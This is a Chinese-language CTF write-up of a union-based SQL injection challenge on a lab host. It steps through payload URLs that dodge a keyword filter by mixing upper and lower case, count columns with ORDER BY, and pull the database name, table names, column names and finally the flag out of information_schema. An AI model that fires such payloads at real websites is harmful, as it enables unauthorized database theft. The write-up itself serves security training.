前言
   
    
     题目分类:
    
   
CTF—Web—SQL注入—03—联合注入+关键字过滤
    
    
    一、题目描述
   
题目:SQL注入
链接:http://192.168.87.175
    
    
    二、解题步骤
   
    
    
    1、回显判断注入方式
   
Step1: http://192.168.87.175/viewld.do?ldid=2,回显正常。有内容
Step2: http://192.168.87.175/viewld.do?ldid=2’,回显为空,无内容
Step3:http://192.168.87.175/viewld.do?ldid=2 and 1=1,回显为非法字符
    Step4:http://192.168.87.175/viewld.do?ldid=2 And 1=1,回显正常。有内容
    
    此时
    
     提示and被视为非法字符
    
    ,
    
     and被过滤。
    
   
Step5:http://192.168.87.175/viewld.do?ldid=2 And 1=2,回显为空,无内容
    
     此时提示and后的内容被执行,可以尝试联合查询
    
    。
   
注入方式为联合查询。
    
    
    2、尝试列数
   
Step6:先查看有几列,http://192.168.87.175/viewld.do?ldid=2 order by 3,回显,非法字符。or被过滤。
Step7:http://192.168.87.175/viewld.do?ldid=2 Order by 3,回显正常。有内容
    Step8:不断尝试增加order后的数字3、4、5,
    
    http://192.168.87.175/viewld.do?ldid=2 Order by 5 回显正常。有内容
   
    Step9:http://192.168.87.175/viewld.do?ldid=2 Order by 6,回显为空,无内容
    
    
     由此得知此数据有5列
    
    。
   
尝试列数,直至回显异常为止。
    
    
    3、寻找注入点
   
Step10: http://192.168.87.175/viewld.do?ldid=2 union select 1,2,3,4,5–+,回显,非法字符,根据以上经验,猜测关键字union,select被过滤。
    Step11: http://192.168.87.175/viewld.do?ldid=2 Union Select 1,2,3,4,5–+,回显数据库中内容,注入点成功找到!
    
     
   
    
    
    4、尝试注入(库,表,列,字段)
   
    Step12: 经尝试可得,union、select被过滤。http://192.168.87.175/viewld.do?ldid=2 Union Select 1,database(),3,4,5# 查询
    
     数据库名字为news
    
    。
    
    
    
    Step13:此时可知
    
     database为news
    
    。经过尝试,过滤字符有or、from。
   
访问url:http://192.168.87.175/viewld.do?ldid=2 UNion Select 1,(Select group_concat(table_name) From infOrmation_schema.tables where table_schema=database()),3,4,5#
    
    
    Step14:由此得知
    
     表名为 tb_flag
    
    。
    
    访问url:http://192.168.87.175/viewld.do?ldid=2 UNion Select 1,(Select group_concat(column_name) From infOrmation_schema.columns where table_name=‘tb_flag’),3,4,5#
    
     
   
    Step15:由此得知
    
     列名为flag
    
    。
    
    访问url为:http://192.168.87.175/viewld.do?ldid=2 UNion Select 1,(Select flag From tb_flag),3,4,5#
    
    
    
    flag{1396265adbb760c86475304b98e3f61c}
   
    
    
    三、总结
   
1、手工注入步骤
第一步:判断注入类型
第二步:判断列数
第三步:寻找注入点
第四步:爆库,表,列,字段
 
